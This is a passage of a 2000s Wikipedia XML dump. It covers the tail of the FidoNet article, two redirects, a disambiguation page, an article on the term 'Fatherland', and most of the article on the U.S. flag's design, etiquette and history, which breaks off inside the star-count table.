*[[FidoNews]]
*[[UUCP]]

==External links==
* [http://www.fidonet.org/ International FidoNet Home Page]
* [http://www.fidonet.us/ Alternate Fidonet Home Page]
* [http://www.fidonet.ro/ Fidonet Parody Page]
* [http://www.wps.com/ Tom Jennings' homepage-Fidonet founder]
* [http://www.fidotel.com/fidonews FidoNews, a weekly newsletter]
* [http://www.fidonet.us/neweditor.html Time for a new Fidonews Editor?]
* [http://www.ftsc.org/ FidoNet Technical Standards Committee Home Page]
* [http://fidonet.sensationcontent.com/ FidoNet Echomail Archive]
* [http://www.tlchost.net/echolist/ International Echolist Home Page]
* [http://www.fidonet.us/fidoring/sitelist.html Fidonet WebRing]
* [http://f75.n5004.z2.fidonet.net/ IP-only 2:5004/75 fidonet node site. Points wanted]
* [http://conecta2.thebbs.org/pucela_bbs/ FidoNet and BBS's in Spanish (Spain, Argentina, Mexico, ...)]
* [http://www.fidonet.ph/ Fidonet Philippines]
* [http://livejournal.com/~fidonet/66544.html Fidonet URL list]
[[Category:Bulletin board systems]]
[[Category:Computer networks]]
[[Category:FidoNet|*]]

[[da:FidoNet]]
[[de:FidoNet]]
[[es:FidoNet]]
[[it:FidoNet]]
[[lt:Fidonet]]
[[hu:FidoNet]]
[[nl:FidoNet]]
[[pl:Fidonet]]
[[pt:Fidonet]]
[[ru:Фидонет]]
[[fi:FidoNet]]
[[zh:FidoNet]]</text>
    </revision>
  </page>
  <page>
    <title>Film formats</title>
    <id>11443</id>
    <revision>
      <id>15909188</id>
      <timestamp>2002-03-29T16:47:34Z</timestamp>
      <contributor>
        <username>Brion VIBBER</username>
        <id>51</id>
      </contributor>
      <minor />
      <comment>De-pluralized</comment>
      <text xml:space="preserve">#REDIRECT [[Film format]]</text>
    </revision>
  </page>
  <page>
    <title>Falsification</title>
    <id>11444</id>
    <revision>
      <id>22946435</id>
      <timestamp>2005-09-10T01:20:35Z</timestamp>
      <contributor>
        <username>Ceyockey</username>
        <id>150564</id>
      </contributor>
      <comment>brutally slashed article down to its disambiguation roots</comment>
      <text xml:space="preserve">'''Falsification''' may mean:
*the act of proving that a theory has the property of [[falsifiability]]
*[[Forgery]], the act of producing something that lacks authenticity with the intent to commit fraud or deception

{{disambig}}</text>
    </revision>
  </page>
  <page>
    <title>Fatherland</title>
    <id>11445</id>
    <revision>
      <id>40677031</id>
      <timestamp>2006-02-22T05:55:11Z</timestamp>
      <contributor>
        <username>Deltabeignet</username>
        <id>195366</id>
      </contributor>
      <comment>rm POV tag, as complaints seem to have been answered</comment>
      <text xml:space="preserve">:''Alternative meanings:'' [[Fatherland (novel)|Fatherland ''(novel)]].'' Fatherland movie directed by [[Ken Loach]]

'''Fatherland''' is the nation of one's &quot;fathers&quot; or &quot;forefathers.&quot;  It can be viewed as a [[nationalism|nationalist]] concept, insofar as it relates to nations. (Compare to [[motherland]] and [[homeland]].)

Groups that refer to their native country as a &quot;fatherland&quot; (or rather, translations of this English word in their languages), or, arguably, associate it primarily with paternal concepts include:

* [[Ancient Rome|Romans]], [[Italians]], [[Spaniard]]s, and [[Latin America]]ns as ''Patria'', the rootword for [[patriotism]].
* the French, as ''Patrie'' (as in the [[national anthem]] [[la Marseillaise]])
* the [[Greeks]] as ''patrida''
* the [[Armenians]], as ''Hayrenik'' (as in the national anthem [[Mer Hayrenik]])
* the [[Poland|Poles]], as ''Ojczyzna'' (but there is also ''macierz'', that is ''Motherland'', although it is seldom used)
* the [[Germany|Germans]], as ''das Vaterland'' (as in the national anthem [[Das Lied der Deutschen]])
* the [[Netherlands|Dutch]], as ''Vaderland''
* the [[Kazakhs]] as ''atameken''
* the [[Russia|Russians]], as ''Otechestvo'' or ''Otchizna'', although ''Rodina'', that is ''Motherland'', is more common.
* the [[Serbs]] as ''otadzbina''
* the [[Danes]] as ''fædreland''
* the [[Finns]] as ''isänmaa''
* the [[Lithuanians]] as ''tėvynė''
* the [[Frisians]] as ''heitelân''
* the [[Czechs]] as ''otčina''
* the [[Swedes]] as ''fäderneslandet''

Note for German, however, that &quot;''das''&quot; is grammatically neuter since the German word &quot;''Land''&quot; is neuter.&quot;  ''Die Heimat'' (the homeland) is grammatically feminine. ''Vaterland'' has been used since the 12th century with the meaning &quot;native country&quot;. An adjective ''vaterländisch'' has been used since the 18th century, meaning something like patriotic or nationalistic. ''Mutterland'' ([[motherland]]) means a mother country in contrast to its colonies.

==See also:==
* [[national anthem]]

==External links==

*[http://www.caucasus.dk/chapter2.htm#_Toc448816639 Nationalism and Ethnicity - A Theoretical Overview]
*[http://www.pganuszko.freeuk.com/dissertation/begin.htm The problem of German identity...]
*[http://www.mises.org/nsande/pt1iich1.asp Nation, State, and Economy: The Nationality Principle in Politics: Liberal or Pacifistic Nationalism, Ludwig von Mises]
*[http://www.friesian.com/history/anthems.htm National anthems] (&quot;Allons enfants de la Patrie&quot;, &quot;Bl&amp;uuml;he, deutsches Vaterland&quot;)&lt;br&gt;
*[http://www.germanlife.com/Archives/1998/9808_02.html Origins of the German State, Robert Selig, German Life]

[[Category:Nationalism]]


[[de:Vaterland]]
[[pl:Ojczyza]]
[[fi:Isänmaa]]</text>
    </revision>
  </page>
  <page>
    <title>Friedrich V</title>
    <id>11446</id>
    <revision>
      <id>15909191</id>
      <timestamp>2005-03-09T18:20:44Z</timestamp>
      <contributor>
        <username>Opera hat</username>
        <id>55876</id>
      </contributor>
      <minor />
      <text xml:space="preserve">#REDIRECT [[Frederick V]]</text>
    </revision>
  </page>
  <page>
    <title>Flag of the United States</title>
    <id>11447</id>
    <revision>
      <id>42133874</id>
      <timestamp>2006-03-04T01:16:09Z</timestamp>
      <contributor>
        <username>DLJessup</username>
        <id>130755</id>
      </contributor>
      <comment>/* Standards of respect */ Remove several sentence of what appears to be personal opinion</comment>
      <text xml:space="preserve">[[Image:Flag of the United States.svg|thumb|250px|right|[[Image:FIAV 63.png]] Flag ratio: 10:19]]
:'''''&quot;Stars and stripes&quot;''' redirects here. For other uses of the term, see [[Stars and Stripes]].''
: ''This article is about the national flag of the United States.  For other flags flown by American ships, see [[American ensign]].''
The '''flag of the United States''' consists of 13 equal horizontal stripes of red (top and bottom) alternating with white, with a blue rectangle in the upper hoist-side corner bearing 50 small, white, five-pointed [[pentagram|star]]s arranged in nine offset horizontal rows of six stars (top and bottom) alternating with rows of five stars. The 50 stars on the [[flag]] represent the [[U.S. state|50 states]] and the 13 stripes represent the [[13 colonies|13 original colonies]]. The [[United States]] flag is commonly called the &quot;'''the Stars and Stripes'''&quot; or &quot;'''Old Glory''',&quot; with the latter nickname coined in 1831 by Captain William Driver, a [[Salem, Massachusetts]] shipmaster.

In [[blazon]]s (a [[vexillology|vexillological]] description using [[flag terminology]]), the U.S. flag is described as &quot;A banner Gules, 6 bars Argent; the canton Azure charged with 50 mullets Argent&quot;. This translates to ''A red flag with 6 white horizontal stripes; The top left quarter is blue with 50 white stars''.

==Traditions==
Many institutions, and some homeowners, display the flag year-round, while some reserve flag display for civic holidays like [[Memorial Day]], [[Veteran's Day]], [[Presidents' Day]], [[Flag Day]] and the [[Independence Day (US)|Fourth of July]]. On Memorial Day it is common to place small flags by war memorials and next to the graves of U.S. war dead.

==Symbolism==
To U.S. citizens, their flag symbolizes many things. They have seen it as representing all of the freedoms and rights guaranteed in the [[United States Constitution|U.S. Constitution]] and its [[United States Bill of Rights|Bill of Rights]]. Perhaps most of all they see it as a symbol of individual and personal liberty like those put forth in the U.S. [[United States Declaration of Independence|Declaration of Independence]].

The approved method of destroying old and tattered flags consists of burning them in a simple ceremony. The flag is cut into three pieces: first a horizontal cut is made between the seventh and eighth stripes, then a vertical cut separating the star field from the seven shorter stripes. Then the three pieces are typically placed on a [[pyre]] as &quot;[[Taps]]&quot; is played. Burning the flag has also been used as a deliberate act of disrespect ([[flag desecration]]), at times to [[protest]] actions by the [[United States government]], or sometimes in displays of [[anti-Americanism]] overseas. Some groups concerned by these actions have proposed a [[Flag Burning Amendment]] that would give Congress the authority to outlaw burning the flag in disrespect or protest.

===Symbolism of the design===
When the [[Second Continental Congress]] proposed the [[Flag Acts (U.S.)|Flag Resolution]] on [[June 14]], [[1777]], there was no particular symbolism attached to the colors or their arrangement on the flag. However, on [[June 20]], [[1782]], [[Charles Thomson]], the secretary of the Continental Congress, gave a report to the Congress defining the new [[Great Seal of the United States]].  Meanings were attached to the colors (which, contrary to popular misinformation, is not part of any of the rules of [[heraldry]]). Rather, the meanings were a matter of contemporary fashion and personal preference on the part of Mr. Thomson.

:''The colours of the pales are those used in the flag of the United States of America. White signifies purity and innocence. Red hardiness and valour and Blue the colour of the Chief signifies vigilance perseverance and justice.''&amp;nbsp;&lt;sup&gt;[ContCong 22:339]&lt;/sup&gt;

Originally, both the number of stripes and the number of stars were supposed to represent the number of states.  However, this became unwieldy as states were added to the union.  During the debate that eventually resulted in the [[Flag Acts (U.S.)|Flag Act of 1818]], U.S. Naval Captain Samuel C. Reid suggested that the number of stripes be set at thirteen to represent the original 13 colonies and that only the number of stars be set to the number of states.  &lt;sup&gt;[USGov 4]&lt;/sup&gt;

A book about the flag published by the Congress in [[1977]] gives further symbolism for the flag:

: The star is a symbol of the heavens and the divine goal to which man has aspired from time immemorial; the stripe is symbolic of the rays of light emanating from the sun. &lt;sup&gt;[USFlag.org]&lt;/sup&gt;

== Design ==
[[Image:Flag of the United States specification.jpg|378x230px|right|Diagram of the flag's design]]

The basic design of the flag is specified by sections 1 and 2 of Title 4, [[United States Code]]. Executive Order 10834 which may be found as a note to section 1, specifies the proportions of the flag and the arrangement of the stars in the union. [http://assembler.law.cornell.edu/uscode/html/uscode04/usc_sec_04_00000001----000-notes.html].  The specification gives the following values:

* Hoist (width) of flag: A = 1.0
* Fly (length) of flag: B = 1.9
* Hoist (width) of Union: C = 0.5385 (7/13)
* Fly (length) of Union: D = 0.76
* E = F = 0.054
* G = H = 0.063
* Diameter of star: K = 0.0616
* Width of stripe: L = 0.0769 (1/13)

Presumably E and F are approximations of 7/130 = 0.053[8461], and G and H are approximations of 0.76/12 = 0.06[3].

According to [[Flags of the World]], the colors are specified by the [[General Services Administration]] &quot;Federal Specification, Flag, National, United States of America and Flag, Union Jack,&quot; DDD-F-416E, dated [[November 27]], [[1981]]. It gives the colors by reference to &quot;[[Standard Color Cards of America]]&quot; maintained by the [[Color Association of the United States]], Inc., as:

&lt;br clear=&quot;all&quot;&gt;
{| width=&quot;60%&quot; border=&quot;1&quot; cellpadding=&quot;2&quot; cellspacing=&quot;0&quot; style=&quot;background: #f9f9f9; border: 1px solid #aaaaaa; border-collapse: collapse; white-space: nowrap; text-align: left&quot;
|- style=&quot;text-align: center; background: #eee&quot;
! 
! Old Glory Blue
! Old Glory Red
! White
|-
| Cable No.
| 70075
| 70180
| 70001
|-
| Approximation to [[Pantone]]
| 281
| 193
| Safe
|}

The current 50-star flag was designed by Robert Heft in 1958 while living with his grandparents in [[Ohio]]. He was 17 years old at the time and did the flag design as a class project.  His mother was a seamstress, but forced Heft to do all of the work on his own.  He originally received a &quot;B-&quot; for the project.  After discussing the grade with his teacher, it was agreed (somewhat jokingly) that if the flag was accepted by Congress, the grade would be reconsidered.  Heft's flag design was chosen and adopted by presidential proclamation after [[Alaska]] and before [[Hawaii]] was admitted into the union in [[1959]]. According to Heft, his teacher did keep to their agreement and changed his grade to an &quot;A&quot; for the project.

== Flag etiquette ==   
There are certain guidelines for the use and display of the United States flag as outlined in the [[Wikisource:United States Flag Code|United States Flag Code]] of the federal government. These are guidelines, not laws; there is no penalty for failure to comply with them. This etiquette is as applied within U.S. jurisdiction. In other countries and places, local etiquette applies.

===Standards of respect===
* The flag should never be dipped to any person or thing, unless it is the [[ensign]] responding to a salute from a vessel of a foreign ship.
* The flag should be flown upside down only as a distress signal.
* The flag should not be used as a drapery, or for covering a speaker's desk, draping a platform, or for any decoration in general. Bunting of blue, white and red stripes is available for these purposes. The blue stripe of the bunting should be on the top.
* The flag should never be drawn back or bunched up in any way.
* The flag should never be used as a covering for a ceiling.
* The flag should never be used for any advertising purpose. It should not be embroidered, printed, or otherwise impressed on such articles as cushions, handkerchiefs, napkins, boxes, or anything intended to be discarded after temporary use. Advertising signs should not be attached to the staff or halyard.
* The flag should not be used as part of a costume or athletic uniform, except that a flag patch may be used on the uniform of military personnel, firefighters, police officers, and members of patriotic organizations.
* The flag should never have placed on it, or attached to it, any mark, insignia, letter, word, number, figure, or drawing of any kind.
* The flag should never be used as a receptacle for receiving, holding, carrying, or delivering anything.
* The flag should not be draped over the hood, top, sides, or back of a vehicle, railroad train, or boat.
* When the flag is lowered, no part of it should touch the ground or any other object; it should be received by waiting hands and arms. To store the flag it should be folded neatly and ceremoniously.
* The flag should be cleaned and mended when necessary.
* When a flag is so worn it is no longer fit to serve as a symbol of the United States, it should be destroyed in a dignified manner, preferably by burning. (Note: Most [[American Legion]] Posts regularly conduct a dignified flag burning ceremony, often on [[Flag Day]], [[June 14]].)

Contrary to a commonly believed [[urban legend]], the flag code does not state that a flag that touches the ground should be burned.  Instead, the flag should be moved so it is not touching the ground.

===Displaying the flag outdoors===
[[Image:Rockefeller_Center_Prometheus.jpg|thumb|250px|right|American flags on display outdoors at the [[Rockefeller Center]] ([[New York City|New York]], [[New York]]).]]
* When the flag is displayed from a staff projecting from a window, balcony, or a building, the union should be at the peak of the staff unless the flag is at [[half staff]]. When it is displayed from the same flagpole with another flag, the flag of the United States must always be at the top except that the church pennant may be flown above the flag during church services for Navy personnel when conducted by a Naval chaplain on a ship at sea.
* When the flag is displayed over a street, it should be hung vertically, with the union to the north or east. If the flag is suspended over a sidewalk, the flag's union should be farthest from the building.
* When flown with flags of states, communities or societies on separate flag poles which are of the same height and in a straight line, the flag of the United States is always placed in the position of honor&amp;mdash;to its own right. The other flags may be the same size but none may be larger.
* No other flag ever should be placed above it. The flag of the United States is always the first flag raised and the last to be lowered.
* When flown with the national banner of other countries, each flag must be displayed from a separate pole of the same height. Each flag should be the same size. They should be raised and lowered simultaneously. The flag of one nation may not be displayed above that of another nation.
* The flag should be raised briskly and lowered slowly and ceremoniously.
* Ordinarily it should be displayed only between sunrise and sunset, although the Flag Code permits nighttime display &quot;when a patriotic effect is desired.&quot;  Similarly, the flag should be displayed only when the weather is fair.  (By Presidential proclamation and law, the flag is displayed continuously at certain honored locations like the United States Marine Corps Memorial in Arlington and Lexington Green.)
* It should be illuminated if displayed at night.
* The flag of the United States of America is saluted as it is hoisted and lowered. The salute is held until the flag is unsnapped from the halyard or through the last note of music, whichever is the longest.

===Displaying the flag indoors===
* When on display, the flag is accorded the place of honor, always positioned to its own right. Place it to the right of the speaker or staging area or sanctuary. Other flags should be to the left.
* The flag of the United States of America should be at the center and at the highest point of the group when a number of flags of states, localities, or societies are grouped for display.
* When one flag is used with the flag of the United States of America and the staffs are crossed, the flag of the United States is placed on its own right with its staff in front of the other flag.
* When displaying the flag against a wall, vertically or horizontally, the flag's union (stars) should be at the top, to the flag's own right, and to the observer's left.

===Parading and saluting the flag===
* When carried in a procession, the flag should be to the right of the marchers.
* When other flags are carried, the flag of the United States may be centered in front of the others or carried to their right. When the flag passes in a procession, or when it is hoisted or lowered, all should face the flag and salute.
* To salute, all persons come to attention.
** Those in uniform give the appropriate formal salute.
** Citizens not in uniform salute by placing their right hand over the heart and men with head cover should remove it and hold it to left shoulder, hand over the heart.
** Members of organizations in formation salute upon command of the person in charge.

===Pledge of Allegiance and national anthem===
* The [[Pledge of Allegiance]] should be rendered by standing at attention, facing the flag, and saluting.
* When the national anthem is played or sung, citizens should stand at attention and salute at the first note and hold the salute through the last note. The salute is directed to the flag, if displayed, otherwise to the music.

===The flag, in mourning===
[[Image:KennedyLiesInState.jpg|rught|thumb|The flag, as draped over President John F. Kennedy's coffin at his [[state funeral of John F. Kennedy|state funeral]].]]
* To place the flag at half-staff (or half-mast, on ships), hoist it to the peak for an instant and lower it to a position half way between the top and bottom of the staff.
* The flag is to be raised again to the peak for a moment before it is lowered.
* On [[Memorial Day]], the flag is displayed at half-staff until noon and at full staff from noon to sunset.
* The flag is to be flown at half-staff in mourning for designated, principal government leaders.
* The U.S. flag is otherwise flown at half-staff (or half-mast, on ships) when directed by the [[President of the United States]] or a state governor.
* When used to cover a casket or coffin, the flag should be placed with the union at the head and over the left shoulder. It should not be lowered into the grave.

===Folding the flag===
Flags, when not in use, should be folded into a triangle shape. The final triangle shape result is said to invoke the image of the [[tricorne|three-point hats]] popular during the [[American Revolutionary War]]. Former [[History of United States overseas expansion#Former American possessions|American territories]], e.g. the [[Philippines]], also use this method to fold their [[Flag of the Philippines|flags]].
[[Image:fold-us-flag-animated.gif|frame|right|Folding the U.S. Flag]]
# To properly fold the flag, begin by holding it waist-high with another person so that its surface is parallel to the ground.
# Fold the lower half of the stripe section lengthwise over the field of stars, holding the bottom and top edges securely.
# Fold the flag again lengthwise with the blue field on the outside.
# Make a triangular fold by bringing the striped corner of the folded edge to meet the open top edge of the flag.
# Turn the outer end point inward, parallel to the open edge, to form a second triangle.
# The triangular folding is continued until the entire length of the flag is folded in this manner.
# When the flag is completely folded, only a triangular blue field of stars should be visible.

==Miscellaneous==
According to the ''New York Public Library Desk Reference'':
* The flag at the [[U.S. Capitol]] flies over the body in session ([[United States House of Representatives|House]] or [[United States Senate|Senate]]) and remains there, lit, day and night.
* In a display of multiple flags, the American flag should be at the center of and above the other flags. Only the [[United Nations]] flag and a [[United States Navy|Navy]] [[chaplain]]'s [[church]] [[pennant]] may be flown higher than the U.S. flag.

==Places where the American flag is displayed continuously==
According to Presidential proclamation, Congressional order, and custom, the American flag is displayed continuously at the following locations:

*[[Fort McHenry]] National Monument and Historic Shrine, [[Baltimore, Maryland]], 15-star/15-stripe flag (Presidential Proclamation No. 2795, [[July 2]], [[1948]]).
*[[Flag House Square]], Albemarle and Pratt Streets, Baltimore, Maryland, 15-star/15-stripe flag (Public Law 83-319, approved [[March 26]], [[1954]]).
*[[USMC War Memorial|United States Marine Corps War Memorial]] ([[Raising the Flag on Iwo Jima]]), [[Arlington, Virginia]] (Presidential Proclamation No. 3418, [[June 12]], [[1961]]).
*[[Lexington, Massachusetts]] Town Green (Public Law 89-335, approved [[November 8]], [[1965]]).
*The [[White House]], [[Washington, DC]] (Presidential Proclamation No.4000, [[September 4]], [[1970]]).
*Fifty U.S. Flags are displayed continuously at the [[Washington Monument]], Washington, DC. (Presidential Proclamation No. 4064, [[July 6]], [[1971]], effective [[July 4]], 1971).
*By order of [[Richard Nixon]] at [[United States Customs Service]] Ports of Entry that are continuously open (Presidential Proclamation No.4131, May 5, 1972).
*Grounds of the National Memorial Arch in [[Valley Forge]] State Park, [[Valley Forge, Pennsylvania]] (Public Law 94-53, approved July 4, [[1975]]).
*Mount Slover limestone quarry ([[Colton Liberty Flag]]), in [[Colton, California]] (Act of Congress). First raised [[July 4]], [[1917]].[http://www.calportland.com/coltons-libertyflag.htm]
*Washington Camp Ground, part of the former [[Middlebrook encampment]], [[Bridgewater, New Jersey]], Thirteen Star Flag, by Act of Congress.

*By custom, at the home, birthplace and grave of [[Francis Scott Key]], all in [[Maryland]]
*By custom, at the [[Worcester, Massachusetts]] war memorial
*By custom, at the plaza in [[Taos, New Mexico]], since [[1861]]
*By custom, at the [[United States Capitol]] since [[1918]]
*By custom, at [[Mount Moriah Cemetery]] in [[Deadwood, South Dakota]]

*In addition, the American flag is presumed to be in continual display on the surface of the Earth's [[The Moon|Moon]], having been placed there by the astronauts of ''[[Apollo 11]]'', [[Apollo 12]], [[Apollo 14]], [[Apollo 15]], [[Apollo 16]], and [[Apollo 17]]. It is assumed however that Apollo 11's flag was knocked down by the force of return to lunar orbit.

==History==
[[Image:COA George Washington.png|right|thumb|100px|The Washington family [[coat of arms]].  This design may be the source of the red-and-white stripe motif of the United States flag]]
The flag has gone through 26 changes since the new union of 13 states first adopted it. The 48-star version holds the record, 47 years, for the longest time the flag has gone unchanged. The current 50-star version will tie the record if it is still in use on [[July 4]], [[2007]].

At the time of the signing of the Declaration of Independence, [[July 4]], [[1776]], the most commonly flown flag was the [[Grand Union Flag]]. This flag was initially flown by George Washington and is recorded as being first raised by Washington's troops at [[Somerville, Massachusetts#History|Prospect Hill]] on [[New Year's Day]] in 1776. This flag formed the basis of the Stars and Stripes, consisting of 13 red and white stripes with the original British Union Flag in the canton. The Grand Union Flag is the same as the [[British East India Company|East India Company]] flag of the same era, although the East India Company flag could have from 9 to 13 stripes.

[[Image:Grand Union Flag.svg|thumb|left|200px|Grand Union Flag.]]
The red-and-white stripe &amp;mdash; and later, stars-and-stripes &amp;mdash; motif of the flag may have been based on the Washington family [[coat of arms|coat-of-arms]], which consisted of a shield &quot;''argent'', two ''bars gules'', above, three ''mullets gules''&quot; (a white shield with two red bars below three red stars).  Since [[1937]], the [[Washington, D.C.|District of Columbia]] has used a flag based on this design.

[[Image:Bennington flag.png|thumb|right|200px|Bennington flag. This flag was most likely used at the Battle of Bennington]]
On [[June 14]], [[1777]], the [[Continental Congress#The Second Continental Congress|Second Continental Congress]] passed the Flag Resolution which stated: &quot;Resolved, That the flag of the United States be made of thirteen stripes, alternate red and white; that the union be thirteen stars, white in a blue field, representing a new Constellation.&quot;  [[Flag Day]] is now observed on June 14 of each year. Tradition holds that the new flag was first hoisted in June of [[1777]] by the [[Continental Army]] at the [[Middlebrook encampment]].

The Flag Resolution did not specify any particular arrangement for the stars.  Initially, a variety of designs were used, including a circular arrangement, but gradually a design featuring horizontal rows of stars emerged as the standard.

[[Image:Us flag large Betsy Ross.png|left|thumb|200px|13-star &quot;Betsy Ross&quot; flag]]
As further states entered the union, extra stars and stripes were added until this proved to cause too much clutter.  It was ultimately decided that there would be a star for each state, but the number of stripes would remain at thirteen to honor the [[Thirteen Colonies|original colonies]]. It was the 15-star, 15-stripe flag that inspired [[Francis Scott Key]] to write &quot;[[The Star-Spangled Banner]],&quot; now the [[national anthem]].

[[Image:Us flag large 15 stars.png|right|thumb|200px|15-star, 15-stripe &quot;Star-Spangled Banner&quot; flag]]
When the flag design changes, the change always takes place on [[July 4]] in [[Philadelphia, Pennsylvania]], as a consequence of the [[Flag Acts (U.S.)|Flag Act]] of [[April 4]], [[1818]]. [[July 4]], [[Independence Day (US)|Independence Day]] in the United States, commemorates the founding of the [[nation]]. The most recent change, from forty-nine stars to fifty, occurred in [[1960]] when [[Robert G. Heft]]'s design was chosen, after [[Hawaii]] gained statehood in August 1959. Before that, the admission of [[Alaska]] in January 1959 prompted the debut of a short-lived 49-star flag.

[[Image:Flag of the United States (1912-1959).svg|thumb|200px|left|48-star classic &quot;Old Glory&quot; flag, used [[1912]]-[[1959]]]]
The flag flew in battle for the first time at [[Cooch's Bridge]] in [[Delaware]] on [[September 3]], [[1777]] during the [[American Revolutionary War]].

The origin of the U.S. flag design is uncertain. A popular story credits [[Betsy Ross]] for sewing the first flag from a pencil sketch by [[George Washington]] who personally commissioned her for the job.  However, no evidence for this theory exists beyond Ross' own records.  The British historian Sir [[Charles Fawcett]] has suggested that the design of the flag may have been derived from the [[flag]] and [[jack (flag)|jack]] of the [[British East India Company]]. [http://www.kimber.org/flag/index.htm Comparisons] between the 2 flags support Fawcett's suggestion. Another popular theory is that the flag was designed by [[Francis Hopkinson]]. He reportedly originally wanted the stars arranged in four bands, one vertical, one horizontal, and two diagonal. By the same reports, this arrangement was rejected due to similarity to the British flag.

===State stars and design duration===
In the following table depicting the 27 designs of the United States flag, the star patterns for each flag are merely the ''usual'' patterns, with the exception of the 48-, 49-, and 50-star flags, as there was no official arrangement of the stars until the proclamation of the 48-star flag by President [[William Howard Taft]] in [[1912]]. (For alternate versions, see [http://www.fotw.net/flags/us-ststr.html this page] at [[FOTW|Flags of the World]].)
&lt;br clear=&quot;all&quot;&gt;
{| class=&quot;wikitable&quot;
|-bgcolor=#cccccc
! No. of&lt;br&gt;Stars !! Design !! States Represented by New Stars !! Dates in Use !! Duration in Years
|- valign=&quot;top&quot;
| 13 || [[Image:us flag large 13 stars.png|125px]] || [[Thirteen Colonies|Original 13 colonies]] || [[June 14]], [[1777]]&amp;ndash;[[May 1]], [[1795]] 
| style=&quot;text-align:left;top&quot; | 18
|- valign=&quot;top&quot;
| 15 || [[Image:us flag large 15 stars.png|125px]] || [[Kentucky]], [[Vermont]] || [[May 1]], [[1795]]&amp;ndash;[[July 3]], [[1818]]
| style=&quot;text-align:left;top&quot; | 23
|- valign=&quot;top&quot;
| 20 || [[Image:us flag large 20 stars.png|125px]] || [[Indiana]], [[Louisiana]], [[Mississippi]], [[Ohio]], [[Tennessee]] || [[July 4]], [[1818]]&amp;ndash;[[July 3]], [[1819]] 
| style=&quot;text-align:left;top&quot; | 1
|- valign=&quot;top&quot;
| 21 || [[Image:us flag large 21 stars.png|125px]] || [[Illinois]] || [[July 4]], [[1819]]&amp;ndash;[[July 3]], [[1820]] 
| style=&quot;text-align:left;top&quot; | 1
|- valign=&quot;top&quot;
| 23 || [[Image:us flag large 23 stars.png|125px]] || [[Alabama]], [[Maine]] || [[July 4]], [[1820]]&amp;ndash;[[July 4]], [[1822]] 
| style=&quot;text-align:left;top&quot; | 2
|- valign=&quot;top&quot;
| 24 || [[Image:us flag large 24 stars.png|125px]] || [[Missouri]] || [[July 4]], [[1822]]&amp;ndash;[[July 3]], [[1836]] 
| style=&quot;text-align:left;top&quot; | 14
|- valign=&quot;top&quot;
| 25 || [[Image:us flag large 25 stars.png|125px]] || [[Arkansas]] || [[July 4]], [[1836]]&amp;ndash;[[July 3]], [[1837]] 
| style=&quot;text-align:left;top&quot; | 1
|- valign=&quot;top&quot;
| 26 || [[Image:us flag large 26 stars.png|125px]] || [[Michigan]] || [[July 4]], [[1837]]&amp;ndash;[[July 3]], [[1845]] 
| style=&quot;text-align:left;top&quot; | 8
|- valign=&quot;top&quot;
| 27 || [[Image:us flag large 27 stars.png|125px]] || [[Florida]] || [[July 4]], [[1845]]&amp;ndash;[[July 3]], [[1846]] 
| style=&quot;text-align:left;top&quot; | 1
|- valign=&quot;top&quot;
| 28 || [[Image:us flag large 28 stars.png|125px]] || [[Texas]] || [[July 4]], [[1846]]&amp;ndash;[[July 3]], [[1847]] 
| style=&quot;text-align:left;top&quot; | 1
|- valign=&quot;top&quot;
| 29 || [[Image:us flag large 29 stars.png|125px]] || [[Iowa]] || [[July 4]], [[1847]]&amp;ndash;[[July 3]], [[1848]] 
| style=&quot;text-align:left;top&quot; | 1
|- valign=&quot;top&quot;
| 30 || [[Image:us flag large 30 stars.png|125px]] || [[Wisconsin]] || [[July 4]], [[1848]]&amp;ndash;[[July 3]], [[1851]] 
| style=&quot;text-align:left;top&quot; | 3
|- valign=&quot;top&quot;
| 31 || [[Image:us flag large 31 stars.png|125px]] || [[California]] || [[July 4]], [[1851]]&amp;ndash;[[July 3]], [[1858]] 
| style=&quot;text-align:left;top&quot; | 7
|- valign=&quot;top&quot;
| 32 || [[Image:us flag large 32 stars.png|125px]] || [[Minnesota]] || [[July 4]], [[1858]]&amp;ndash;[[July 3]], [[1859]] 
| style=&quot;text-align:left;top&quot; | 1
|- valign=&quot;top&quot;
| 33 || [[Image:us flag large 33 stars.png|125px]] || [[Oregon]] || [[July 4]], [[1859]]&amp;ndash;[[July 3]], [[1861]] 
| style=&quot;text-align:left;top&quot; | 2
|- valign=&quot;top&quot;
| 34 || [[Image:us flag large 34 stars.png|125px]] || [[Kansas]] || [[July 4]], [[1861]]&amp;ndash;[[July 3]], [[1863]] 
| style=&quot;text-align:left;top&quot; | 2
|- valign=&quot;top&quot;
| 35 || [[Image:us flag large 35 stars.png|125px]] || [[West Virginia]] || [[July 4]], [[1863]]&amp;ndash;[[July 3]], [[1865]] 
| style=&quot;text-align:left;top&quot; | 2
|- valign=&quot;top&quot;
| 36 || [[Image:us flag large 36 stars.png|125px]] || [[Nevada]] || [[July 4]], [[1865]]&amp;ndash;[[July 3]], [[1867]] 
| style=&quot;text-align:left;top&quot; | 2
|- valign=&quot;top&quot;
| 37 || [[Image:us flag large 37 stars.png|125px]] || [[Nebraska]] || [[July 4]], [[1867]]&amp;ndash;[[July 3]], [[1877]] 
| style=&quot;text-align:left;top&quot; | 10
|- valign=&quot;top&quot;
| 38 || [[Image:us flag large 38 stars.png|125px]] || [[Colorado]] || [[July 4]], [[1877]]&amp;ndash;[[July 3]], [[1890]] 
| style=&quot;text-align:left;top&quot; | 13
|- valign=&quot;top&quot;
| 43 || [[Image:us flag large 43 stars.png|125px]] || [[Idaho]], [[Montana]], [[North Dakota]], [[South Dakota]], [[Washington]] || [[July 4]], [[1890]]&amp;ndash;[[July 3]], [[1891]] 
| style=&quot;text-align:left;top&quot; | 1
|- valign=&quot;top&quot;
| 44 || [[Image:us flag large 44 stars.png|125px]] || [[Wyoming]] || [[July 4]], [[1891]]&amp;ndash;[[July 3]], [[1896]] 
| style=&quot;text-align:left;top&quot; | 5
|- valign=&quot;top&quot;
| 45 || [[Image:us flag large 45 stars.png|125px]] || [[Utah]] || [[July 4]], [[1896]]&amp;ndash;[[July 3]], [[1908]] 
| style=&quot;text-align:left;top&quot; | 12
|- valign=&quot;top&quot;
| 46 || [[Image:us flag large 46 stars.png|125px]] || [[Oklahoma]] || [[July 4]], [[1908]]&amp;ndash;[[July 3]], [[1912]] 
| style=&quot;text-align:left;top&quot; | 4
|- valign=&quot;top&quot;
| 48 || [[Image:Flag of the United States (1912-1959).svg|125px]] || [[Arizona]], [[New Mexico]] || [[July 4]], [[1912]]&amp;ndash;[[July 3]], [[1959]] 
| style=&quot;text-align:left;top&quot; | 47
|- valign=&quot;top&quot;
| 49 || [[Image:us flag large 49 stars.png|125px]] || [[Alaska]] || [[July 4]], [[1959]]&amp;ndash;[[July 3]], [[1960]] 
| style=&quot;text-align:left;top&quot; | 1
